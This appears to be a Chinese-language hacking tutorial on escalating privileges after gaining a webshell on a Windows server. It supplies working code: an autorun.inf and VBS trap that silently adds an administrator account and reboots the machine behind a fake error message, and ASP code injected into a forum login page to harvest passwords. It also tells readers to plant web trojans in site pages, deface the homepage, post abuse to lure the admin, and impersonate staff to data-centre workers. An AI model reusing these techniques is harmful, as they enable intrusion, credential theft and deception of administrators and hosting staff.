另类巧妙旁门左道入侵思路与方法全攻略

在许多实际入侵场景中，技术能力并非唯一决定因素——运气往往占据相当比重，而更关键的是如何敏锐识别并利用那些暴露在外的安全漏洞。安全意识的强弱，从根本上决定了系统的防御水准。面对一台服务器，快速扫描其配置通常就能大致判断出安全等级，尤其是在获取webshell后的权限提升阶段，管理员的配置习惯与安全意识往往成为突破口。由于个人技术能力有限，无法自行挖掘溢出漏洞，因此在入侵过程中只能依赖一些“非常规手段”。这些方法或许会被经验丰富的管理员或高手所轻视，但实际环境中，它们的潜在威胁绝不容小觑。你永远无法预知自己的系统何时会被人埋下诸多陷阱，若再加上安全意识薄弱，造成的危害可能极为严重。下面将分享一些在实际操作中经常使用的非常规技巧。

首先，前提是已获得一个webshell——因为后续所有手法都聚焦于webshell到手后的权限提升环节。至于webshell的获取方式，脚本漏洞遍地皆是，翻阅过往文章或自行挖掘，总能有所收获。拿到webshell后，第一步通常是查看系统进程列表。砍客木马以及后续改版的海洋木马均具备此功能，个人使用的是海洋木马的修改版，能够获取非常详细的进程信息。若没有此类木马也无妨，以下是一段可直接上传至服务器用于查看进程的代码：

<% 
dim obj 
for each obj in getObject("WinNT://.") 
err.clear 
%> 
<%=obj.Name%> 
<%if err then 
else 
%>(<%=obj.DisplayName%>)<%end if%> 

<%=obj.path%> 

将其保存为asp文件并访问即可（如图一）。这一步需仔细审视：服务安装的路径、正在运行的服务列表，这些信息基本能反映管理员的专业水平。若未发现任何异常，说明管理员能力尚可，反而需提高警惕。如果服务均安装在默认路径下，默认Guest账户权限有限；但若发现某个服务不在默认路径，尝试执行命令，若命令可执行，则可将自己的程序上传至服务器，修改服务名称，将自身程序替换上去（前提是目标服务的程序路径为默认权限）。Windows默认不允许删除正在运行的文件，但允许重命名，因此只要服务器重启，我们的程序即可执行——当然，这将以牺牲对方服务为代价。建议针对瑞星等杀毒软件进行操作。虽然需要等待重启，但Windows系统本身并不稳定，通常一周左右服务器便会重启一次，概率极高。这种做法是否有些阴险？但一切为了权限，否则怎能称之为“非常规手段”。若实在等不及，不建议直接攻击对方服务器，若是托管主机，可冒充管理员请求机房人员协助重启，据说成功率相当高——前提是对目标信息足够了解。当然，若机器上安装了低版本的Server-u，则无需如此繁琐，提权方式可参考过往文章。

回到当前场景，情况并不乐观：查看服务路径可知，系统内安装了大量防火墙和杀毒软件，且均位于默认路径下，即使能执行命令也无法替换服务。再仔细查看，发现许多默认服务并未关闭，这绝非一个重视安全的管理员所为——至少ClipBook服务就是一个典型例子（排除那些对自己极度自信的管理员）。由此可见，管理员的安全意识至少存在明显漏洞，必定有可趁之机。继续深入：使用FSO查看磁盘，发现所有分区均可浏览且可写，各项设置均为默认，命令也能执行，管理员确实显得较为随意。其实早在最初阶段就应有所察觉，因为web页面和数据库均为默认配置，正是凭借这一点才获得了webshell。基本可以确定对手的安全水平了。

但似乎仍无直接突破口：可以执行命令，将nc上传后能获得反向cmdshell，但转悠半天仍毫无头绪。管理员虽然不懂安全配置，但微软补丁却打得相当齐全，本地溢出漏洞全部失效。那么不妨再翻翻他硬盘中的内容——根目录可写，这让人联想到什么？系统默认的autorun.inf文件还记得吗？将其放置在磁盘根目录下，双击该磁盘就会自动执行指定程序。于是，可以放置一个autorun.inf上去（如图二）。这样一来，硬盘中便埋下了陷阱，等待管理员触发。当然，不能直接通过autorun.inf运行木马，否则管理员无法打开硬盘盘符势必产生怀疑。可以编写一个更为隐蔽的脚本：

Dim fso, MyFile
Set fso = createObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFile("d:\autorun.inf")
MyFile.delete
dim sh
set sh=createobject("wscript.shell")
sh.run "net user jnc lxfxd /add",0
sh.run "net localgroup administrators jnc /add",0
sh.run "attrib  h  s d:\run.vbs",0
sh.run "shutdown -r -t 30 -c windows读盘错误，需要重新启动以读取分区表.",0

保存为run.vbs，与autorun.inf一同设置为隐藏属性后放置于磁盘根目录。若是Windows 2000系统，还需将shutdown.exe一同上传。该脚本的逻辑是：先删除autorun.inf，接着添加管理员账户jnc，最后弹出对话框并重启机器。重启后，除多出一个管理员用户外，不会留下任何痕迹。提示信息可根据需要自行修改，迷惑性越强越好。autorun.inf中写入以下内容：

[autorun]
OPEN=wscript run.vbs

必须使用wscript.exe，否则会出现黑色命令行窗口，从而暴露行踪。应该有人知道如何用脚本直接打开磁盘盘符，但个人不会编写，不过当前方案已足够狠辣——试想现在谁打开磁盘不是双击呢？

除了上述方法，还有一个值得提及的技巧：黑X曾介绍过的目录欺骗工具，管理员误以为是文件夹，点进去便会执行预设命令。不过拿到的程序运行后总会留下一个bat文件，且无法删除，明眼人一眼就能看出异常。因此，不妨舍弃其运行功能，直接将程序放置在管理员常去的位置，比如根目录下一个、网站目录下一个……（如图三）。不要放置太多，放在管理员眼皮底下等待其运行即可。若具备编程能力，编写一个更具诱惑力名称的程序，效果会更好。一旦获得管理员账户，又拥有可执行命令的cmdshell，即便没有远程桌面（3389），使用runas命令也能搞定，这台机器基本就收入囊中了。不过，安全意识薄弱的管理员通常较为懒惰，未必经常上线，否则也不会留下如此多漏洞。不必着急，待一切布置妥当后，再设法诱使其上线检查自己的电脑，这样才有机会运行我们的程序。

继续寻找其他可乘之机。查看其网站内容，这类管理员往往在各个地方使用相同的密码。网站上有一个动网sp2论坛，将数据库从asp复制为mdb格式下载下来分析。在Dv_log中未找到密码，但发现了注册时间最早的账户（自然是管理员本人）的密码，将其下载下来尝试破解，半天未果。于是，直接在bbs的login.asp中插入一段代码：

<%
dim Name,password,fso,file
Name = Request("username")
Password = Request("password")
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = Server.createObject("Scripting.FileSystemObject")
Const path = "D:\mir3\bbs\admin_list.asp"
set file=fso.opentextfile(path, ForAppending, TRUE)
file.write(Name) & " "
file.write(Password) & "||"
file.close
set file = nothing
set fso = nothing
%>

注意其中request的变量需根据实际字段进行修改，存放文件的路径也需根据实际情况填写。之后定期查看收集到的数据即可，admin账号是重点关注对象（如图四）。又一个陷阱已挖好，只等管理员踩入。但不知他何时登录，索性使点手段，发布几条人身攻击的帖子，灌些恶意水，不信管理员能忍住不上来删帖。并非本意，还请见谅。

再转悠几圈，发现C:\Program Files下存在3721目录，这服务器难道还有人用来上网？不过也不排除这种可能。二话不说，向他人索要最新的网页木马代码，挑选网站数个关键页面插入其中（如图五）。又一个陷阱布置完毕，只要管理员打开IE上网，便会中招。继续搜索，发现这位管理员还算不错，服务器上未安装QQ，也没有游戏，否则还能再捆绑一个木马上去。确实遇到过有人在服务器上聊QQ、玩连连看，甚至浏览少儿不宜内容，若连这样的机器都搞不定，那便真是自身的问题了。

至此，这台机器上几乎已遍布陷阱，只等管理员上线。但实在等不及，催催他吧——拿出经典的黑站图片，插入网页木马，直接替换掉主页（如图六）。当然，这里是因为了解管理员水平才如此操作，请勿模仿！就等他发现，陷阱可都在等着他。不过这个网站人气似乎不高，等了半天也无人清除黑页。算了，迟早会中招。若实在缺乏耐心，可到网站上找到他的QQ，利用社会工程学手段催促他。

最后再补充一些内容：获取webshell和权限还有更高效的方法。可以访问查询网站信息的站点（http://www.webhosting.info）查询目标信息，注册一个相似的邮箱，或者直接打电话冒充站长声称密码丢失。个人不擅长此类手法，均为听他人所述。不过上次与小默一同前往电信机房，发现那里的检查并不严格，签名即可进入，进入后无人监管。有些服务器直接处于开启状态，管理员已登录但人不在，甚至还有重要的服务器可供直接操作。真不知道在这些网关设备上放置一个木马会带来怎样的后果。这里所述或许有些偏离正统黑客技术，但谁敢保证这些非常规手段不会威胁到你的主机安全？安全意识至关重要，再怎么小心也不为过。好了，就说到这里。